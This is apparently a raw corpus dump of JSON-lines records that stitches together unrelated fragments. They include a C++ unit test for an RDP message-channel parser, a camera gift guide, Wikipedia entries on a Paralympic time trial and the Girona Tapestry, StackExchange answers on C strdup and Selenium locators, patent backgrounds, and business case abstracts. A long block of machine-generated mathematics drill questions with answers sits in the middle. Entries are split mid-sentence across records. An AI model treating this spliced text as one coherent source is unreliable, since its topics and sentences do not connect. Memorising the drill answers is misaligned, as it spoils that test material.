\"test_only\/test_framework\/redemption_unit_tests.hpp\"\n\n#include \"core\/RDP\/gcc\/userdata\/cs_mcs_msgchannel.hpp\"\n\n\nRED_AUTO_TEST_CASE(Test_gcc_user_data_cs_mcs_msgchannel)\n{\n InStream stream(\n \"\\x06\\xc0\" \/\/ CS_MCS_MSGCHANNEL\n \"\\x08\\x00\" \/\/ 8 bytes user Data\n\n \"\\x00\\x00\\x00\\x00\" \/\/ TS_UD_CS_MCS_MSGCHANNEL::flags\n \"\"_av);\n GCC::UserData::CSMCSMsgChannel cs_mcs_msgchannel;\n cs_mcs_msgchannel.recv(stream);\n RED_CHECK_EQUAL(CS_MCS_MSGCHANNEL, cs_mcs_msgchannel.userDataType);\n RED_CHECK_EQUAL(8, cs_mcs_msgchannel.length);\n RED_CHECK_EQUAL(0, cs_mcs_msgchannel.flags);\n\n \/\/ cs_mcs_msgchannel.log(\"Client","metadata":{"pile_set_name":"Github"},"id":66} {"contents":"Received\");\n}\n","metadata":{"pile_set_name":"Github"},"id":67} {"contents":"Fujifilm X100F\n\nOne of the more expensive cameras on my list, the X100F is the best model yet of the popular series of fixed-lens cameras with APS-C-size sensors. It's got a wide-angle lens and a relatively compact design, and if you need a gift for a grad who likes physical manual controls -- and who you're willing to spend the bucks on -- this is a great choice.\n\nSony RX100 V\n\nThe Sony RX100 V makes my list now that its price has been reduced. If you want to gift the most feature-packed compact available today for someone who wants to carry a camera all the time, this is the one.\n\nPanasonic Lumix ZS100\n\nOne of my perennial general-purpose go-to recommendations, the ZS100 delivers the upgrade in image quality afforded by a one-inch","metadata":{"pile_set_name":"Pile-CC"},"id":68} {"contents":"sensor with enough of a zoom lens for a lot of framing flexibility, and it's sufficiently fast to capture life in action. Plus, it supports 4K video for the sharpest capture possible. And it's cheaper than the RX100 V. There's a newer model with a longer zoom lens, the ZS200, but it's more expensive and the lens has a more limited aperture range.\n\nSony A6000\n\nAny newbie downsizing from a dSLR or upgrading from a compact will find this a great interchangeable-lens model. With the image quality and performance of a dSLR, the A6000 is a few generations old, but that just means it's inexpensive enough to make an affordable yet terrific gift. If you can spend more, the latest successor A6500 is better, but it's also a budget-buster with","metadata":{"pile_set_name":"Pile-CC"},"id":69} {"contents":"a basic kit lens.\n\nPanasonic Lumix FZ1000\n\nThe FZ1000 is a good fit for people who want the look and feel of a dSLR, better image quality than a point-and-shoot, and a long zoom lens they don't need to worry about changing whether they're shooting landscapes, portraits, birds or sports.\n\nOlympus OM-D E-M10 Mark II\n\nA small dSLR alternative, one of the best things about the Micro Four Thirds interchangeable-lens cameras is that the lenses are tiny -- you can throw five in your bag and barely feel them. The E-M10 Mark II is fast, with solid photo quality and a useful feature set, plus Olympus' policy of adding features via firmware upgrades makes this one a long-term choice. The company recently rolled out the Mark III, but most of the changes","metadata":{"pile_set_name":"Pile-CC"},"id":70} {"contents":"were in the interface, so performance and photo quality should be identical if you want something newer.\n\nDJI Mavic Pro\n\nFor the outdoorsy type who wants to do drone photography but needs it to fit in a backpack, the foldable Mavic Pro is the most travel-friendly of the more advanced bunch. It's not a cheap gift but it will surely be appreciated.\n\nCanon EOS 80D\n\nYou can find this excellent general-purpose dSLR reasonably priced for the body, which makes it a nice gift for anyone who's done with their cheap dSLR and looking for faster focus and continuous shooting.\n\nGoPro Hero 6 Black\n\nIt may look like the Hero 5, but GoPro's Hero 6 Black update to the most popular action camera has a new processor that enables better image quality and stabilization, plus","metadata":{"pile_set_name":"Pile-CC"},"id":71} {"contents":"another level of slow-motion, which make it worth gifting the newest model.","metadata":{"pile_set_name":"Pile-CC"},"id":72} {"contents":"Cycling at the 2016 Summer Paralympics \u2013 Men's road time trial H5\n\nThe Men's time trial H5 road cycling event at the 2016 Summer Paralympics took place on 14 September at Flamengo Park, Pontal. Twelve riders from nine nations competed.\n\nThe H5 category is a handcycle class is for cyclists with lower limb disabilities, such as amputation, but more or less full trunk stability.\n\nResults : Men's road time trial H5\n\nReferences\n\nMen's road time trial H5","metadata":{"pile_set_name":"Wikipedia (en)"},"id":73} {"contents":"Q:\n\nCopy value of char array to 2D array\n\nAs you can see below i create a 2D array of strings. Also i use a char array named \"buffer\". I want to copy the value of buffer to the [5][0] position of the 2D array.\nThe problem is that when the value of buffer changes, the value of the cell of the array also changes.\nI want to keep the first value.\n#include \n#include \n#include \n\nchar * strNameList[10][2] = { \n {\"Luca\", \"Daniel\"} ,\n {\"Vivan\", \"Desmond\"},\n {\"Abdul\", \"Justin\"}, \n {\"Nina\", \"Marlene\"},\n {\"Donny\", \"Kathlene\"} \n};\n\nint main()\n{\n int j, i;\n int pos = 5;\n char buffer[10204];\n\n strcpy(buffer, \"A","metadata":{"pile_set_name":"StackExchange"},"id":74} {"contents":"Value\");\n\n strNameList[pos][0] = buffer;\n strNameList[pos][1] = \"Surname\";\n for (i = 0; i < 9; i++) {\n printf(\"\\n\");\n for (j = 0; j < 2; j++)\n printf(\" %s\", strNameList[i][j]);\n }\n\n strcpy(buffer, \"B Value\"); \n for (i = 0; i < 9; i++) {\n printf(\"\\n\");\n for (j = 0; j < 2; j++)\n printf(\" %s\", strNameList[i][j]);\n ","metadata":{"pile_set_name":"StackExchange"},"id":75} {"contents":" }\n}\n\nOutput: \n\n Luca Daniel\n Vivan Desmond\n Abdul Justin\n Nina Marlene\n Donny Kathlene\n A Value Surname\n\n Luca Daniel\n Vivan Desmond\n Abdul Justin\n Nina Marlene\n Donny Kathlene\n B Value Surname\n\nA:\n\nThe problem is that strNameList[pos][0] points to buffer and it's not an independant storage location, since it's simply a pointer you can modify it using either buffer or strNameList[pos][0] because both point to the same place in memory.\nDon't mix pointers to string literals, and pointers to non-const arrays in the same array of strings, instead use\nstrNameList[pos][0] = strdup(buffer);\n\nand you will see the difference, likewise\nstrNameList[pos][1] = strdup(\"Surname\");\n\nyou will need a\nfree(strNameList[pos][0]);\nfree(strNameList[pos][1]);\n\nlater, when you no longer need the pointers.\n\n","metadata":{"pile_set_name":"StackExchange"},"id":76} {"contents":"1. Field of the Invention\nThe present invention relates generally to active implantable medical devices (AIMDs), and more particularly, to stitched components of an AIMD.\n2. Related Art\nMedical devices having one or more active implantable components, generally referred to herein as active implantable medical devices (AIMDs), have provided a wide range of therapeutic benefits to patients over recent decades. AIMDs often include an implantable, hermetically sealed electronics module, and a device that interfaces with a patient's tissue, sometimes referred to as a tissue interface. The tissue interface may include, for example, one or more instruments, apparatus, sensors or other functional components that are permanently or temporarily implanted in a patient. The tissue interface is used to, for example, diagnose, monitor, and\/or treat a disease or injury, or to modify a","metadata":{"pile_set_name":"USPTO Backgrounds"},"id":77} {"contents":"patient's anatomy or physiological process.\nIn particular applications, an AIMD tissue interface includes one or more conductive electrical contacts, referred to as electrodes, which deliver electrical stimulation signals to, or receive signals from, a patient's tissue. The electrodes are typically disposed in a biocompatible electrically non-conductive member, and are electrically connected to the electronics module. The electrodes and the non-conductive member are collectively referred to herein as an electrode assembly.","metadata":{"pile_set_name":"USPTO Backgrounds"},"id":78} {"contents":"Tapestry of Creation\n\nThe Tapestry of Creation or Girona Tapestry is a Romanesque panel of needlework from the 11th century, housed in the Museum of the Cathedral of Girona, Catalonia, Spain. Measuring 3.65 x 4.70 m, it originally may have served as baldachin for the Altar of the Holy Cross in the church's entrance. Some believe that it was used as a curtain or even a carpet. It depicts a series of theological scenes related with the Christian creation myths.\n\nThe \"tapestry\" is actually a panel of couched needlework laid down on the surface of the ground fabric, a terracotta wool intertwined with different colors (red, green, yellow, dark and light blue, gray) wool and white linen threads. The border is formed by a frame, rather deteriorated,","metadata":{"pile_set_name":"Wikipedia (en)"},"id":79} {"contents":"containing small square pictures which, according to some scholars, could have been added later to the central sector, due to their different, Byzantine-like style and themes.\n\nThe tapestry, of which only the upper part remains, is divided into three cycles:\nthe Genesis, presided over by the Christ Pantocrator\nthe cosmic elements\nthe Stories of the Holy Cross\n\nThe Christ Pantocrator, depicted as a beardless young man, occupies a circle in the center of the tapestry. He is surrounded by a circle whose sectors, aside from the upper one with a dove, symbol of God, show the seven days of the creation, until the creation of Adam and Eve. The two circles include quotes from the Genesis.\n\nThe remaining space in the rectangle including the central disk, houses at the corner four representation of Winds,","metadata":{"pile_set_name":"Wikipedia (en)"},"id":80} {"contents":"depicted by four young winged men in Roman-like dresses, driving vessels and blowing air into horns. The central upper square is an old man representing the Year, with the Wheel of Time, while at the upper corners are the personifications of the Rivers of Paradise. The other six upper squares depict the Four Seasons, as well as Samson and Abel (or Cain).\n\nThe two lower corners show the personifications of the Sun (left, symbolizing Sunday) and the Moon (right, much deteriorated, symbolizing Monday), while the side outer squares represent the months (only eight of which survive). At the bottom are incomplete scenes of the discovery of Holy Cross.\n\nSources\n\nExternal links\n\nOfficial cathedral's website \nPage with details of the figures \nPage with links to websites and the newest literature (2012)","metadata":{"pile_set_name":"Wikipedia (en)"},"id":81} {"contents":"\nThe Art of medieval Spain, A.D. 500-1200, an exhibition catalog from The Metropolitan Museum of Art Libraries (fully available online as PDF), which contains material on Tapestry of Creation (no. 159) \n\nCategory:Romanesque art\nCategory:Embroidery\nCategory:11th-century works\nCategory:Cultural depictions of Adam and Eve\nCategory:Jesus in art","metadata":{"pile_set_name":"Wikipedia (en)"},"id":82} {"contents":"Q:\n\nXpath of element with some count\n\nI'm using webdrive java and testng.\nI need to find the xpath or some other locator for Users(80). 80 is count of users which chnages according to users count. From IDE, i got link=Users80, but as 80 changes, i think it's not a good idea to use it as locator in my code because next time if I execute program, the count may be 30 or 90, so the locator would be Users(90) and my program would fail.\nPlease help me find the locator:\n
\nDashboard<\/a>\n<\/div>\n <\/li>\n
  • \n
    \n \n Users\n 80<\/span>\n <\/a>\n\nA:\n\nThere are lot of ways to do that. Check out this","metadata":{"pile_set_name":"StackExchange"},"id":83} {"contents":"for more details, \nFor given HTML, Try the following, \n driver.findElement(By.partialLinkText(\"Users\")).click();\n\n","metadata":{"pile_set_name":"StackExchange"},"id":84} {"contents":")?\n8\nLet k(x) = x**2 + 4*x - 1. Let c(b) = b**2 - 19*b - 47. Let q be c(21). What is k(q)?\n4\nLet n(z) = -12*z**2 + 4*z - 1. Let a(o) be the first derivative of 13*o**3\/3 - 5*o**2\/2 + 2*o - 6. Let g(j) = 2*a(j) + 3*n(j). Give g(-1).\n-11\nLet w(s) = 8*s + 14. Let r(n) = 3*n + 5. Let q(m) = -14*r(m) + 5*w(m). Suppose 5*y + 6*g = g + 110, -4*y + 123 = -3*g. Let z = 33 - y. Give q(z).\n-12\nLet v(x) = x**3 - x**2 - 2*x + 4. Let w = -9 + 25. Suppose 0 = -4*i + w - 4. Give v(i).\n16\nSuppose 22*r = 4*r - 90. Let v(q) = -q - 1. What is","metadata":{"pile_set_name":"DM Mathematics"},"id":85} {"contents":"v(r)?\n4\nLet i(h) be the second derivative of -h**5\/20 - h**4\/6 - h**3\/6 - 3*h**2\/2 + 89*h. Suppose 2*g = -3*w - 19, -g = -4*w + 3*w + 2. What is i(w)?\n9\nSuppose -56*s + 49*s - 35 = 0. Let h(q) = -q**3 - 5*q**2 - q + 2. Determine h(s).\n7\nLet p = 45 + -9. Let o(a) = -a**2 - 6 + 24*a - p*a + 17*a. Give o(4).\n-2\nSuppose -2*d + 6*q - 3*q - 6 = 0, -q = -d - 2. Let l(g) be the second derivative of -g**3\/6 + 15*g**2\/2 - g - 38. What is l(d)?\n15\nLet l(n) = -n + 3. Let h be (1 + 2 + -1)*-1. Let v = 0 - h. Suppose 0*o - 6 = -v*o. What is","metadata":{"pile_set_name":"DM Mathematics"},"id":86} {"contents":"l(o)?\n0\nLet p(y) = y**2 + 8*y + 6. Let o be p(-8). Let z(b) be the second derivative of b**5\/20 - b**4\/2 - b**3\/6 + 3*b**2\/2 - 21*b - 15. Calculate z(o).\n-3\nSuppose 2*k = 11 - 5. Let f(t) = -9*t**k + 5*t + 3*t**2 + 8*t**3 - 13 + 16. Give f(4).\n7\nLet r be ((-3)\/(-12))\/(1\/4). Let t(q) = q + 1. Let o = -1 - 0. Let i(f) = -3*f - 4. Let n(m) = o*i(m) - 4*t(m). Determine n(r).\n-1\nLet a(n) = n - 2. Suppose 24 = 8*b - 0. Let x be (16\/3 - b)*-3. Give a(x).\n-9\nLet f(r) be the first derivative of r**2\/2 - 6*r + 315. Suppose 0 = c + 2*c. Calculate f(c).\n-6\nLet m be -4 + 2 + (-5)\/(-1). Let","metadata":{"pile_set_name":"DM Mathematics"},"id":87} {"contents":"u(f) = -f**3 - f**2 + 2*f**m - 1 - 3*f**3 - f. Let z(s) = s**3 - 9*s**2 + 16*s - 15. Let x be z(7). What is u(x)?\n1\nLet p(t) = t**3 - 5*t**2 + 8*t - 13. Let d be p(6). Suppose -3*n - 2*n - 3*s = -87, 0 = 5*n - s - d. Let w = n + -19. Let g(f) = -f**3 - 4*f**2. Give g(w).\n0\nLet w = -6084 - -6073. Let t(x) be the third derivative of x**4\/24 + x**3 + x**2. What is t(w)?\n-5\nLet s(m) be the second derivative of -m**5\/20 + 5*m**4\/12 - 2*m**3\/3 - 3*m**2\/2 + 49*m - 1. What is s(5)?\n-23\nSuppose -5*n + 17 + 43 = 0. Suppose 3*l + 0*l = 3*m - n, -4*m","metadata":{"pile_set_name":"DM Mathematics"},"id":88} {"contents":"= -3*l - 14. Let z(q) = q**2 + q + 2. Determine z(m).\n8\nLet u(c) = -c**2 - 5*c + 3. Let o = 82 + -69. Suppose -7*g + 36 = -o*g. Calculate u(g).\n-3\nLet t(b) = -5*b - 9. Let o(j) = -j - 1. Let s(a) = -6*o(a) + t(a). Calculate s(11).\n8\nSuppose 4*d - 2*i - 2*i - 240 = 0, -i + 105 = 2*d. Suppose -2*y - 15 + d = 0. Let t be (1\/(-1))\/(5\/y). Let u(g) = -g**3 - 4*g**2 - 1. Determine u(t).\n-1\nLet t be ((-14)\/(-6))\/(-7)*(-3 + 12). Let w(q) = 2*q**3 + 5*q**2 + 3*q - 2. Let y(l) = -l**3 - 4*l**2 - 2*l + 1. Let r(f) = t*y(f) - 2*w(f). Determine r(3).\n-8\nLet b = -366 - -361.","metadata":{"pile_set_name":"DM Mathematics"},"id":89} {"contents":"Let s(x) = -x**3 - 6*x**2 - 7*x - 7. Give s(b).\n3\nSuppose -7*i - 30 - 19 = 0. Let o(t) = -t**3 - 6*t**2 + 6*t + 2. What is o(i)?\n9\nLet z be (-36)\/15 + 38\/95. Let d(f) be the second derivative of -f**4\/6 + f**3\/2 + 3*f**2\/2 - f. Determine d(z).\n-11\nLet q(p) be the third derivative of p**4\/24 - 13*p**3\/6 + p**2 + 6*p. Calculate q(9).\n-4\nLet g(f) be the third derivative of f**4\/24 + 3*f**3\/2 + 68*f**2 - 2*f. Determine g(-16).\n-7\nLet x(c) = c**3 + 3*c**2 - c - 2. Let l be x(-3). Let u(z) be the second derivative of 1\/2*z**2 - 1\/6*z**3 + 0 + 1\/12*z**4 + 13*z. Give u(l).\n1\nSuppose -6 = -2*f + o, -4*f - 3*o + 0 = -2. Let a","metadata":{"pile_set_name":"DM Mathematics"},"id":90} {"contents":"be (1 - 1)*2\/(-4). Let w(r) = 1 - 4*r**f - r**3 - 4 + a*r + 5*r - 1. Determine w(-5).\n-4\nLet v(i) = 3*i - 2*i**2 + 5 + 3*i**2 + 3*i. Let p be (0 - (-30)\/(-12) - 0)*2. Determine v(p).\n0\nLet i(w) = -w**3 - w**2 + w - 4. Let t = -15 - 37. Let p = t + 52. Give i(p).\n-4\nLet c(k) = 4*k**2. Let f = -36 - -42. Suppose -7*m = -m - f. Give c(m).\n4\nLet w(r) = -r**2 + 11*r - 16. Let k be w(9). Suppose -3*t - k*m = -4*m + 19, -5*t = -4*m + 35. Let g(d) = -d**2 - 4*d - 4. Determine g(t).\n-1\nLet r(w) = w**3 + 5*w**2 + 4*w - 3. Let k","metadata":{"pile_set_name":"DM Mathematics"},"id":91} {"contents":"= -560 + 556. What is r(k)?\n-3\nLet u be (-1)\/(((-1)\/2)\/1). Let f be 4 + (1 - (-2 + u)). Let n(y) be the third derivative of y**5\/60 - 5*y**4\/24 - y**3\/3 + 2*y**2 - 415*y. What is n(f)?\n-2\nLet y(x) = 5*x**3 - 25*x**2 + 16*x + 11. Let r(l) = -l**3 + 6*l**2 - 4*l - 3. Let z(m) = -9*r(m) - 2*y(m). Suppose 0 = -v - 4. Calculate z(v).\n-11\nLet u(j) = -j**3 + 11*j**2 - 2*j + 24. Let f(k) = 5*k + 201. Let x be f(-38). Determine u(x).\n2\nLet z(u) be the third derivative of u**4\/3 - u**3\/3 - 138*u**2. Calculate z(-2).\n-18\nSuppose -2*c - 1 = 1. Let o(v) = -v**3 - 15*v**2 + 16*v + 8. Let b(j) = -j**2 + j +","metadata":{"pile_set_name":"DM Mathematics"},"id":92} {"contents":"1. Let y(d) = c*o(d) + 2*b(d). Give y(-14).\n-6\nLet n(b) be the second derivative of b**5\/20 + 7*b**4\/12 + 7*b**3\/6 - 5*b**2\/2 - b. Let v be ((-40)\/(-6))\/(2\/3). Suppose v*m + 28 = -32. Determine n(m).\n-11\nLet a = -265 + 263. Let g(s) = 2*s**2 + s - 3. Calculate g(a).\n3\nLet i = -15 + 10. Let u(h) = -355*h + 721*h - h**3 + 3 - 361*h - 4*h**2. Give u(i).\n3\nLet o(j) be the second derivative of j**3\/3 - 17*j**2\/2 + 5*j. Let m be o(14). Let n(a) = 4*a + m - 5*a - 8. What is n(3)?\n0\nLet m(a) = a + 4. Let t(w) = w + 2. Suppose -6*z + z = 10. Let b(p) = z*m(p) + 5*t(p). What is b(-3)?\n-7\nLet l(t) =","metadata":{"pile_set_name":"DM Mathematics"},"id":93} {"contents":"-t**2 + 6*t - 7. Let m be l(6). Let v = -1 - m. Let k(n) = -7*n**2 - n + 2 + v*n**2 + 2 + 0. Determine k(0).\n4\nLet q(i) = 10*i + 5. Let j be q(-5). Let d = 38 + j. Let t(y) = 5*y**3 - 7*y**2 + 3 - 6*y**3 - 5*y + 6*y. Calculate t(d).\n-4\nLet k(i) be the third derivative of -i**6\/20 - i**5\/60 - i**4\/24 - i**3\/6 + 57*i**2. Determine k(-1).\n5\nSuppose -2*y = 3*y - 20. Suppose -y*f = f. Let l(j) be the third derivative of j**4\/24 - 18*j**2. Determine l(f).\n0\nLet i(v) = -2*v**2 - 3*v + 3. Suppose 5*t + 12 = -8, 5*b + 2*t - 17 = 0. Suppose -5*m = -h + 8 + 9,","metadata":{"pile_set_name":"DM Mathematics"},"id":94} {"contents":"b*m + 11 = -2*h. What is i(h)?\n-11\nLet u(i) = i**3 - 4*i**2 - 8*i + 6. Suppose 20 = -64*n + 68*n. Suppose -3*p + 2*p = 4, b - n*p = 25. Give u(b).\n-9\nLet u(r) = 4*r**2 - 2*r + 2 - 1 + 0*r**2. Let l be 4\/6 - ((-78)\/9)\/26. What is u(l)?\n3\nLet l(p) = p**3 + 4*p**2 - 5*p - 2. Let h = 36 + -34. Suppose 3*d = o - 18, 3*d + 3*o = -h*o. Calculate l(d).\n-2\nLet j be (-50 - -50) + (1 - -1). Let t(b) = -4*b + 1. What is t(j)?\n-7\nLet u(d) = -d**2 + 3*d + 5. Suppose 4*p + 2*f = 46, 4*p - 3*f - 3 = 2*p. Suppose 7*s - p = 33.","metadata":{"pile_set_name":"DM Mathematics"},"id":95} {"contents":"What is u(s)?\n-13\nLet q(f) = f**2 + 44. Let d(p) = -2*p**2 - p - 110. Let i(w) = -2*d(w) - 5*q(w). Suppose b - 23 = -5*z, -z + b + 0*b + 1 = 0. What is i(z)?\n-8\nLet d(q) = q**2 - 3*q + 9. Let a = -1137 - -1143. Calculate d(a).\n27\nSuppose -5*k = -3*g - 64, -3*k - 2*g + 26 = -1. Let d(w) = -2*w + 13. Calculate d(k).\n-9\nLet l(t) = -t**3 + 6*t**2 - 3*t - 6. Let m be l(5). Let u(v) = -v**2 + 4*v. Let c(w) = -w**2 + 3*w + 1. Let s(b) = m*u(b) - 5*c(b). Give s(0).\n-5\nSuppose -2*k = -180 + 70. Let w = k + -59. Let f(x) = 3*x + 4. Determine","metadata":{"pile_set_name":"DM Mathematics"},"id":96} {"contents":"f(w).\n-8\nLet p(t) = -67*t - 28 + 10 + 10. Let q(y) = 100*y + 11. Let w(n) = 7*p(n) + 5*q(n). Give w(1).\n30\nLet h(j) = 12*j - 124. Let g be h(11). Let i(l) = -l**2 + 8*l - 5. Calculate i(g).\n-5\nLet u(j) = 5*j - 2. Let f = 957 + -966. What is u(f)?\n-47\nSuppose -2*x - 4*z = 6, 3*x + z = 2*x. Let q(p) = -3*p**2 - 2*p - 6. Let r(u) = -3*u**2 - 3*u - 7. Let v(d) = -6*q(d) + 5*r(d). Determine v(x).\n19\nLet n(g) be the second derivative of g**5\/20 + 5*g**4\/12 + 2*g**3\/3 + 7*g**2\/2 - g. Let j(f) = f**2 - 2 - 4*f - 4*f + 4. Let p be j(7). Calculate n(p).\n-13\nLet n(q) = q**3 -","metadata":{"pile_set_name":"DM Mathematics"},"id":97} {"contents":"10*q**2 - 3*q - 2. Let f = 919 - 909. Give n(f).\n-32\nLet r(w) = -3*w + 4. Let b be (60\/24)\/(2\/4). Let s(q) = 2*q - 1 + q**2 - b + 1. Let k be s(-4). Determine r(k).\n-5\nLet c(q) be the first derivative of 4*q**2 - 47*q + 75. Give c(7).\n9\nLet x be (-6)\/(-1 - (2 - 1)). Let k(v) = -14*v**2 + 4. Let p(u) = 24*u**2 - u - 6. Let g(y) = 5*k(y) + 3*p(y). Calculate g(x).\n11\nSuppose -7*p + 5*p - 2*b + 22 = 0, -p = -b - 5. Let d(q) be the first derivative of -p*q + 3 + 1\/2*q**2. Calculate d(5).\n-3\nLet x(c) be the second derivative of -c**5\/20 + 7*c**4\/12 - 4*c**3\/3 + 4*c**2 + 9*c - 11. Calculate","metadata":{"pile_set_name":"DM Mathematics"},"id":98} {"contents":"x(6).\n-4\nLet i(q) = 8*q + 32. Let j(x) = -7*x - 26. Let r(z) = 3*i(z) + 4*j(z). Calculate r(-11).\n36\nLet w(p) = -4*p - 4. Let z = -339 + 344. What is w(z)?\n-24\nLet o(x) = -13. Let k(l) = -l - 27. Let w(m) = 3*k(m) - 7*o(m). What is w(-14)?\n52\nSuppose -41*k - 64*k = -840. Let g(h) = -h**3 + 9*h**2 - 4*h + 9. Let s(z) =","metadata":{"pile_set_name":"DM Mathematics"},"id":99} {"contents":"The use of electronic devices for recording videos and taking pictures has increased significantly in recent years. Exemplary electronic devices for recording videos and taking pictures include smart phones and hand-held cameras. Such devices frequently include a viewfinder, which the user can use for previewing before taking a picture or recording a video.","metadata":{"pile_set_name":"USPTO Backgrounds"},"id":100} {"contents":"Publication Date:\n\nDiscipline:\n\nSource:\n\nProduct number:\n\nLength:\n\nAlso Available in:\n\ndescription\n\nIn October 2004 Fern\u00e1ndez Pujals, founder of Telepizza, an international home delivery pizza business, bought 24.9% of Jazztel (\u20ac90 million), a telecom company. At the time, Jazztel that was near bankruptcy and needed a capital injection to finish the year. Over the next ten years, Fern\u00e1ndez Pujals led the restructuring of Jazztel's debt, reached an agreement with the former monopoly Telef\u00f3nica, set up internal call centers, and transformed Jazztel into the fastest growing broadband operator in Spain. The case describes how Fern\u00e1ndez Pujals designed and managed the board and led Jazztel towards profitable growth.\n\nlearning objective:\n\nThe case provides an example of board dynamics and corporate governance of a Spanish telecom company with a controlling shareholder serving as Chairman of the Board of Directors.\n\nPublication Date:\n\nDiscipline:\n\nSource:\n\nProduct number:\n\nLength:\n\nAlso","metadata":{"pile_set_name":"Pile-CC"},"id":101} {"contents":"Available in:\n\ndescription\n\nOn Tuesday March 15, 2011, all 1,200 global Partners of McKinsey & Co. gathered at the Gaylord National Hotel & Convention Center near Washington, DC for their annual Partners' conference. The atmosphere was tense as Partners, in addition to their normal agenda, discussed the Galleon Group insider-trading trial and the recent allegations against the Firm's former Managing Director, Rajat Gupta. Three months earlier Senior Partner, Anil Kumar, pled guilty to providing confidential information about McKinsey clients he served to Galleon Group founder Raj Rajaratnam. The McKinsey Partners were shocked and dismayed by the actions of Kumar, as well as the recent allegations against Gupta and were closely monitoring the situation. Could a former Managing Director of their Firm have conspired to enable insider trading? And if so,","metadata":{"pile_set_name":"Pile-CC"},"id":102} {"contents":"what did that mean for the future of the Firm?\n\nPublication Date:\n\nDiscipline:\n\nSource:\n\nProduct number:\n\nLength:\n\nAlso Available in:\n\ndescription\n\nOn Tuesday March 15, 2011, all 1,200 global Partners of McKinsey & Co. gathered at the Gaylord National Hotel & Convention Center near Washington, DC for their annual Partners' conference. The atmosphere was tense as Partners, in addition to their normal agenda, discussed the Galleon Group insider-trading trial and the recent allegations against the Firm's former Managing Director, Rajat Gupta. Three months earlier Senior Partner, Anil Kumar, plead guilty to providing confidential information about McKinsey clients he served to Galleon Group founder Raj Rajaratnam. The McKinsey Partners were shocked and dismayed by the actions of Kumar, as well as the recent allegations against Gupta and were closely monitoring the situation. Could a former Managing Director","metadata":{"pile_set_name":"Pile-CC"},"id":103} {"contents":"of their Firm have conspired to enable insider trading? And if so, what did that mean for the future of the Firm?\n\nlearning objective:\n\nStudents will analyze how management at a leading consulting firm responded to insider-trading allegations against its former Managing Partner. The case examines how McKinsey communicated with its constituents about the matter and the actions it took to prevent poor behavior in the future.\n\nPublication Date:\n\nDiscipline:\n\nSource:\n\nProduct number:\n\nLength:\n\nAlso Available in:\n\ndescription\n\nThere have been significant, positive changes in boardroom practices over the past 25 years. However, there is still work to do, says the author, whose expertise in corporate governance matters was tapped for lawsuits involving the Tyco and Enron fiascos at the dawn of this new century. Drawing on decades of research and experience, the author outlines the major problems","metadata":{"pile_set_name":"Pile-CC"},"id":104} {"contents":"that boards have faced over the past quarter century and the solutions proposed to overcome them. He warns of the negative, unintended consequences of some of these solutions, many of which were not thought through carefully and may be based on false premises. Finally, he offers four recommendations for directors, CEOs, shareholders and other stakeholders on how to meet future governance challenges within the wider context of business. Put simply, there needs to be open communication between all parties and a consensus on the ultimate purpose of the firm.\n\nPublication Date:\n\nDiscipline:\n\nSource:\n\nProduct number:\n\nLength:\n\nAlso Available in:\n\ndescription\n\nSince the start of the 21st century, a new breed of shareholder--the activist hedge fund--has frequently played a decisive role in interactions between corporations and markets. The game of these activists is simple: They buy stocks","metadata":{"pile_set_name":"Pile-CC"},"id":105} {"contents":"they view as undervalued and pressure management to do things they believe will raise the value, such as giving more cash back to shareholders or shedding divisions that the activists think are driving down the stock price. With increasing frequency they get deeply involved in governance--demanding board seats, replacing CEOs, and advocating specific business strategies. The authors have identified six ways in which to fend off activist challenges or use them to improve your organization: (1) Have a clear strategic focus and stick to it. (2) Analyze your business as an activist would. (3) Have your external advisers lined up in advance and familiar with your company. (4) Build board chemistry. (5) Perform in the short run against declared goals. (6) Don't dismiss activist ideas out of hand.\n\nPublication","metadata":{"pile_set_name":"Pile-CC"},"id":106} {"contents":"Date:\n\nDiscipline:\n\nSource:\n\nProduct number:\n\nLength:\n\nAlso Available in:\n\ndescription\n\nIn December 1997 United Rentals (URI) went public on the NYSE. Ten years later, during the peak of the economic meltdown, the company's performance was in decline. United Rentals had experienced its share of problems in the prior years and was still struggling to emerge from this turmoil.\n\nIn the spring of 2008, the recession had decimated the company's core business, construction equipment rental. The economic downturn resulted in a significant decrease in North American construction and industrial activities and had adversely affected the company's revenues and operating result. The stock of the company quickly fell from the mid-$30 range in late 2007 to $3 in March 2009. In addition, two of the company's former chief financial officers had been charged with securities fraud and other","metadata":{"pile_set_name":"Pile-CC"},"id":107} {"contents":"violations, by both the U.S. Attorney's office and the SEC. The Board was faced with the resignation of the founder and chairman, management succession issues, the failed merger with Cerberus, and the lawsuit in Delaware. The Board was responsible for overseeing the change in a number of senior management and board positions which became increasingly difficult due to the turmoil and poor performance of the company. Recruiting and retaining talent in senior management and the board was central to the success of the company, which relied on their people for strong performance. In addition the company's total indebtedness was approximately $3.3 billion, including $146 million of subordinated convertible debenture. The company's substantial indebtedness had the potential to have adverse consequences in a number of ways, including: increase their","metadata":{"pile_set_name":"Pile-CC"},"id":108} {"contents":"vulnerability to adverse economic, industry or competitive developments; require the company to devote a substantial portion of their cash flow to debt service, reduce the funds available for other purposes; limit their ability to obtain additional financing; and decrease their profitability or cash flow. And the company was still dealing with multiple purported class action and derivative lawsuits that had been filed against it. It was during this time the board started looking for candidates both for the CEO and Chairman positions.\n\nPublication Date:\n\nDiscipline:\n\nSource:\n\nProduct number:\n\nLength:\n\nAlso Available in:\n\ndescription\n\nTo maximize their effectiveness, color cases should be printed in color.\n\nIn April 2012, Jenne Britell, the Chairman of the board of directors of United Rentals, Inc. (NYSE: URI) was preparing her notes for an upcoming stockholders' meeting. It was a meeting unlike most","metadata":{"pile_set_name":"Pile-CC"},"id":109} {"contents":"other meetings she had chaired. Stockholders were about to vote on a transaction that was perhaps the ultimate fulfillment of the founders' original vision. She was reminded of the company's founding just 15 years earlier and its meteoric growth. With a considerable sense of achievement and satisfaction, she reflected on her tenure as board chair commencing five years ago. Elected to the board in 2006 and then unanimously selected by her peers as Chairman in June 2008, Britell led the board through the aftermath of a tumultuous period that included senior management and board changes, a SEC investigation, financial restatements, the jilting of the company by Cerberus Capital Management in a transaction to acquire URI, and the deepest recession to hit the global economy since the Great Depression.","metadata":{"pile_set_name":"Pile-CC"},"id":110} {"contents":"At the meeting, stockholders would be asked to consider approval of a merger agreement between URI, the largest equipment rental company in the world, with RSC, the second largest equipment rental company in the world and URI's largest competitor. The meeting would mark the triumph of a new governance model and company strategy whose development and implementation Britell and CEO Michael Kneeland had led. As Britell reflected on the hard won gains, she also looked forward to the challenges and opportunities that lay ahead as the company managed the integration of RSC's operations with URI and the integration of three new board members from the acquired company. She also reflected on how governance and strategy could continue to evolve as the company planned for the next five 